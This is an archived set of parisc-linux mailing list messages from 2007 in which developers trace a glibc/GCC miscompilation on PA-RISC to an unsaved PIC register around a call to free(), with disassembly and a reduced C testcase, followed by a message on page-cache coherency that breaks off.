List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: T38OdwgUYmYSuunCanc36ZZKWkZTQZTc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24506

Carlos O'Donell a crit :
> On 5/1/07, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
>> The two least significant bits in ip contain the priviledge level
>> of the executing code.  They have to be masked off to get the address
>> of a faulting instruction.
> 
> You'll be pleasantly suprised to know we tracked this down to a
> missing save/restore of the PIC register on a library call.
> 
>   0x40bcb744 <closedir+44>:       copy r20,r22
>   0x40bcb748 <closedir+48>:       b,l 0x40bb4aa0,rp
>   0x40bcb74c <closedir+52>:       copy r3,r26
> 
> See this lonely b,l without a PIC register save/restore? That's the
> problem. It's a jump to a stub, which calls free, but free tailcalls
> into __internal_free, and the PIC register isn't restored by free or
> by closedir.
> 
> FWIW I see this aswell when compiling glibc with gcc mainline:
> 
>   10:   6b d3 3f c1     stw r19,-20(sp)
> ../sysdeps/unix/closedir.c:52
>   14:   e8 40 00 00     b,l 1c <__closedir+0x1c>,rp
>                         14: R_PARISC_PCREL17F   free
>   18:   0c a0 10 85     ldw 0(r5),r5
> ../sysdeps/unix/closedir.c:54
>   1c:   08 05 02 5a     copy r5,r26
>   20:   08 13 02 44     copy r19,r4
> 
> Why isn't there a save/restore of the PIC register around the call to
> free? Clearly r19 is being used, notice the save/restore starting on
> "20:".

Note that the asm code starting on line 20 comes from an asm directive
in the preprocessed source.

-- 
  .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
 : :' :  Debian developer           | Electrical Engineer
 `. `'   aurel32@debian.org         | aurelien@aurel32.net
   `-    people.debian.org/~aurel32 | www.aurel32.net
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned access using bash on glibc 2.5
Date: Wed, 2 May 2007 11:14:52 +0200
Lines: 57
Approved: news@gmane.org
Message-ID: <20070502091452.GA26226__6328.7932229743$1416624346$gmane$org@farad.aurel32.net>
References: <46379E8A.8080705@aurel32.net>
	<200705012059.l41Kxj21011265@hiauly1.hia.nrc.ca>
	<119aab440705011847o29e04a2eted8aea1e7c0bb041@mail.gmail.com>
	<463831CA.4060208@aurel32.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-15
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624346 23681 80.91.229.3 (22 Nov 2014 02:45:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 May 2007 09:15:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx048) with SMTP; 02 May 2007 11:15:05 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 22A5E7DB2E;
	Wed,  2 May 2007 03:15:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15738-04; Wed, 2 May 2007 03:15:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A9A3E7DB2F;
	Wed,  2 May 2007 03:14:59 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 76A027DB25
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 May 2007 03:14:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15402-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 2 May 2007 03:14:53 -0600 (MDT)
Original-Received: from mail.aurel32.net (farad.aurel32.net [82.232.2.251])
	by free.linux.hp.com (Postfix) with ESMTP id 6ADF07DB24
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 May 2007 03:14:53 -0600 (MDT)
Original-Received: from farad.aurel32.net ([2001:618:400:fc13:216:3eff:fe00:100c])
	by mail.aurel32.net with esmtps (TLS-1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.63) (envelope-from <aurel32@farad.aurel32.net>)
	id 1HjAvE-0008OO-Qt; Wed, 02 May 2007 11:14:52 +0200
Original-Received: from aurel32 by farad.aurel32.net with local (Exim 4.63)
	(envelope-from <aurel32@farad.aurel32.net>)
	id 1HjAvE-0006pA-GS; Wed, 02 May 2007 11:14:52 +0200
Content-Disposition: inline
In-Reply-To: <463831CA.4060208@aurel32.net>
X-Mailer: Mutt 1.5.13 (2006-08-11)
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qWEKdwoPIyd11fqQe2dr+ytaa2FkZlXa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24507

On Wed, May 02, 2007 at 08:38:02AM +0200, Aurelien Jarno wrote:
> Carlos O'Donell a crit :
> > On 5/1/07, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> >> The two least significant bits in ip contain the priviledge level
> >> of the executing code.  They have to be masked off to get the address
> >> of a faulting instruction.
> > 
> > You'll be pleasantly suprised to know we tracked this down to a
> > missing save/restore of the PIC register on a library call.
> > 
> >   0x40bcb744 <closedir+44>:       copy r20,r22
> >   0x40bcb748 <closedir+48>:       b,l 0x40bb4aa0,rp
> >   0x40bcb74c <closedir+52>:       copy r3,r26
> > 
> > See this lonely b,l without a PIC register save/restore? That's the
> > problem. It's a jump to a stub, which calls free, but free tailcalls
> > into __internal_free, and the PIC register isn't restored by free or
> > by closedir.
> > 
> > FWIW I see this aswell when compiling glibc with gcc mainline:
> > 
> >   10:   6b d3 3f c1     stw r19,-20(sp)
> > ../sysdeps/unix/closedir.c:52
> >   14:   e8 40 00 00     b,l 1c <__closedir+0x1c>,rp
> >                         14: R_PARISC_PCREL17F   free
> >   18:   0c a0 10 85     ldw 0(r5),r5
> > ../sysdeps/unix/closedir.c:54
> >   1c:   08 05 02 5a     copy r5,r26
> >   20:   08 13 02 44     copy r19,r4
> > 
> > Why isn't there a save/restore of the PIC register around the call to
> > free? Clearly r19 is being used, notice the save/restore starting on
> > "20:".
> > 
> 
> In case you want to have a closer look, please find attached the
> preprocessed file. I will try to reduce the testcase later today.
> 
> The problem does not appear at -O0, and start to appears with -O1.

Some more progress. The following change in the preprocessed source code
"fixes" the problem:

- extern __thread int __libc_errno __attribute__ ((tls_model ("initial-exec")));
+ extern __thread int __libc_errno;

-- 
  .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
 : :' :  Debian developer           | Electrical Engineer
 `. `'   aurel32@debian.org         | aurelien@aurel32.net
   `-    people.debian.org/~aurel32 | www.aurel32.net
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned access using bash on glibc 2.5
Date: Wed, 2 May 2007 11:38:51 +0200
Lines: 74
Approved: news@gmane.org
Message-ID: <20070502093851.GA26242__30692.2623575248$1416624347$gmane$org@farad.aurel32.net>
References: <46379E8A.8080705@aurel32.net>
	<200705012059.l41Kxj21011265@hiauly1.hia.nrc.ca>
	<119aab440705011847o29e04a2eted8aea1e7c0bb041@mail.gmail.com>
	<463831CA.4060208@aurel32.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-15
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624347 23683 80.91.229.3 (22 Nov 2014 02:45:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 May 2007 09:39:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx056) with SMTP; 02 May 2007 11:39:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 56C0F7DB2F;
	Wed,  2 May 2007 03:39:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16045-02; Wed, 2 May 2007 03:39:04 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B51687DB30;
	Wed,  2 May 2007 03:38:59 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1AB5F7DB20
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 May 2007 03:38:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15714-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 2 May 2007 03:38:53 -0600 (MDT)
Original-Received: from mail.aurel32.net (farad.aurel32.net [82.232.2.251])
	by free.linux.hp.com (Postfix) with ESMTP id 018B67DB19
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 May 2007 03:38:53 -0600 (MDT)
Original-Received: from farad.aurel32.net ([2001:618:400:fc13:216:3eff:fe00:100c])
	by mail.aurel32.net with esmtps (TLS-1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.63) (envelope-from <aurel32@farad.aurel32.net>)
	id 1HjBIS-0008S0-1l; Wed, 02 May 2007 11:38:52 +0200
Original-Received: from aurel32 by farad.aurel32.net with local (Exim 4.63)
	(envelope-from <aurel32@farad.aurel32.net>)
	id 1HjBIR-0006pP-OF; Wed, 02 May 2007 11:38:51 +0200
Content-Disposition: inline
In-Reply-To: <463831CA.4060208@aurel32.net>
X-Mailer: Mutt 1.5.13 (2006-08-11)
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: CWoNd2EdbUkoyunGPWgn8g1kZ2hlN8oL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24508

On Wed, May 02, 2007 at 08:38:02AM +0200, Aurelien Jarno wrote:
> Carlos O'Donell a crit :
> > On 5/1/07, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> >> The two least significant bits in ip contain the priviledge level
> >> of the executing code.  They have to be masked off to get the address
> >> of a faulting instruction.
> > 
> > You'll be pleasantly suprised to know we tracked this down to a
> > missing save/restore of the PIC register on a library call.
> > 
> >   0x40bcb744 <closedir+44>:       copy r20,r22
> >   0x40bcb748 <closedir+48>:       b,l 0x40bb4aa0,rp
> >   0x40bcb74c <closedir+52>:       copy r3,r26
> > 
> > See this lonely b,l without a PIC register save/restore? That's the
> > problem. It's a jump to a stub, which calls free, but free tailcalls
> > into __internal_free, and the PIC register isn't restored by free or
> > by closedir.
> > 
> > FWIW I see this aswell when compiling glibc with gcc mainline:
> > 
> >   10:   6b d3 3f c1     stw r19,-20(sp)
> > ../sysdeps/unix/closedir.c:52
> >   14:   e8 40 00 00     b,l 1c <__closedir+0x1c>,rp
> >                         14: R_PARISC_PCREL17F   free
> >   18:   0c a0 10 85     ldw 0(r5),r5
> > ../sysdeps/unix/closedir.c:54
> >   1c:   08 05 02 5a     copy r5,r26
> >   20:   08 13 02 44     copy r19,r4
> > 
> > Why isn't there a save/restore of the PIC register around the call to
> > free? Clearly r19 is being used, notice the save/restore starting on
> > "20:".
> > 
> 
> In case you want to have a closer look, please find attached the
> preprocessed file. I will try to reduce the testcase later today.
> 

Please find the reduced testcase below. When the value is assigned to
__libc_errno, the value of r19 has been overrided by the call to free().


extern __thread int __libc_errno __attribute__ ((tls_model ("initial-exec")));
extern void free (void *__ptr) __attribute__ ((__nothrow__));

int
__closedir (int *p)
{
  int i;

  i = *p;
  free (p);

  register unsigned long __res asm("r28");                                                                            register unsigned long __r26 __asm__("r26") = (unsigned long)(p);                                                   asm volatile("copy %%r19, %%r4\n"                                                                                                "ble  0x100(%%sr2, %%r0)\n"                                                                                         "ldi %1, %%r20\n"                                                                                                   "copy %%r4, %%r19\n"                                                                                                : "=r" (__res) : "i" (0 + 6) , "r" (__r26)                                               
                            : "memory", "%r1", "%r2", "%r4", "%r20", "%r29", "%r31" , "%r21", "%r22", "%r23", "%r24", "%r25" );

  __libc_errno = 25;

  return __res;
}


-- 
  .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
 : :' :  Debian developer           | Electrical Engineer
 `. `'   aurel32@debian.org         | aurelien@aurel32.net
   `-    people.debian.org/~aurel32 | www.aurel32.net
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned access using bash on glibc 2.5
Date: Wed, 2 May 2007 14:15:51 -0400 (EDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <200705021815.l42IFqYS018776__3060.60149237073$1416624347$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440705021021i35132820we4338ae3ca1862cd@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624347 23688 80.91.229.3 (22 Nov 2014 02:45:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:47 +0000 (UTC)
Cc: aurelien@aurel32.net,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 May 2007 18:16:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx065) with SMTP; 02 May 2007 20:16:22 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 805CD7DB70;
	Wed,  2 May 2007 12:16:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21475-09; Wed, 2 May 2007 12:16:19 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 661B17DB7B;
	Wed,  2 May 2007 12:16:18 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4DA0B7DB64
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 May 2007 12:16:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21482-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 2 May 2007 12:16:10 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 79ABD7DB17
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 May 2007 12:16:10 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l42IFrVG018778;
	Wed, 2 May 2007 14:15:54 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l42IFqYS018776;
	Wed, 2 May 2007 14:15:52 -0400 (EDT)
In-Reply-To: <119aab440705021021i35132820we4338ae3ca1862cd@mail.gmail.com>
	from "Carlos O'Donell" at May 2, 2007 01:21:28 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: TucBc3MaeWU7l7eUfHVzG005U3U4N4+N
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24509

> > The same is true of the asm.
> 
> You told me that listing r19 as input was problematic. Is this no longer true?

If I said that, it was wrong.  It's never wrong to correctly specify
asm and rtl dependencies.  I think the issue is pic versus non-pic.

> I noticed that the tie_load tgd_load and tld _load patterns in pa.md
> are broken and don't specify a dependency on r19 or r27.
> 
> Would you be able to cook up a possible fix? :-)

They are definitely broken.  I've been very busy lately, and
have a couple of things I should do first.  I'll get to it sometime.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ollie Wild" <aaw@google.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] memory management issues
Date: Thu, 3 May 2007 01:11:04 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <65dd6fd50705030111i993390bx829ee5eb8a188462__728.330881293182$1416624347$gmane$org@mail.gmail.com>
References: <65dd6fd50704301144k77003d1he9f85f4bb6cf2ace@mail.gmail.com>
	<1178149192.3712.28.camel@mulgrave.il.steeleye.com>
	<65dd6fd50705021652s3b3b721dl6a8323259cd4efa9@mail.gmail.com>
	<1178153532.3712.39.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624347 23690 80.91.229.3 (22 Nov 2014 02:45:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:47 +0000 (UTC)
Cc: Peter Zijlstra <a.p.zijlstra@chello.nl>,
 parisc-linux@lists.parisc-linux.org
To: "James Bottomley" <James.Bottomley@steeleye.com>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 May 2007 08:11:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx034) with SMTP; 03 May 2007 10:11:23 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C428E7DB9E;
	Thu,  3 May 2007 02:11:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29278-05; Thu, 3 May 2007 02:11:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9DAC97DB9A;
	Thu,  3 May 2007 02:11:14 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 94D6A7DB89
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 May 2007 02:11:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29054-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 May 2007 02:11:10 -0600 (MDT)
Original-Received: from smtp-out.google.com (smtp-out.google.com [216.239.45.13])
	by free.linux.hp.com (Postfix) with ESMTP id 86B997DB88
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 May 2007 02:11:10 -0600 (MDT)
Original-Received: from zps35.corp.google.com (zps35.corp.google.com [172.25.146.35])
	by smtp-out.google.com with ESMTP id l438B7vQ015479
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 May 2007 01:11:07 -0700
DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:
	mime-version:content-type:content-transfer-encoding:
	content-disposition:references;
	b=NZzgxHakChFNK/STLKKzyvwRalmbzIOh+SRmpu9cuQ67iJV7OTM8HPtIPFrG3szXz
	xk3ryuAX1XkGPi/PI7X/A==
Original-Received: from py-out-1112.google.com (pyha77.prod.google.com [10.34.228.77])
	by zps35.corp.google.com with ESMTP id l438B5sj005606
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 May 2007 01:11:05 -0700
Original-Received: by py-out-1112.google.com with SMTP id a77so348349pyh
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 03 May 2007 01:11:05 -0700 (PDT)
Original-Received: by 10.35.54.1 with SMTP id g1mr2826002pyk.1178179864976;
	Thu, 03 May 2007 01:11:04 -0700 (PDT)
Original-Received: by 10.35.9.4 with HTTP; Thu, 3 May 2007 01:11:04 -0700 (PDT)
In-Reply-To: <1178153532.3712.39.camel@mulgrave.il.steeleye.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: eO1cNqYFZCEXmLGPamwhTD5wIGhpZca1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24510

Thanks, James.

> The first thing this does is
> immediately decohere the page because we zero it through the user
> mapping before adding it to the vma.  Fortunately get_user_pages()
> should make it coherent again.

This is the critical insight I was missing.  I was assuming the page
was unaccessed prior to mapping it into the kernel.  The zeroing
hadn't occurred to me.  Unfortunately, it looks like get_user_pages()
doesn't make it coherent again.  Calling flush_kernel_dcache_page()
alone fails to resolve the problem.  Calling flush_cache_page() after
kmap() and flush_kernel_dcache_page() before kunmap() does.

Is this a bug in get_user_pages()?  Should it be calling
flush_cache_page() directly?

By the way, I've left my kernel running on iodine.  Try running:

    ulimit -s unlimited
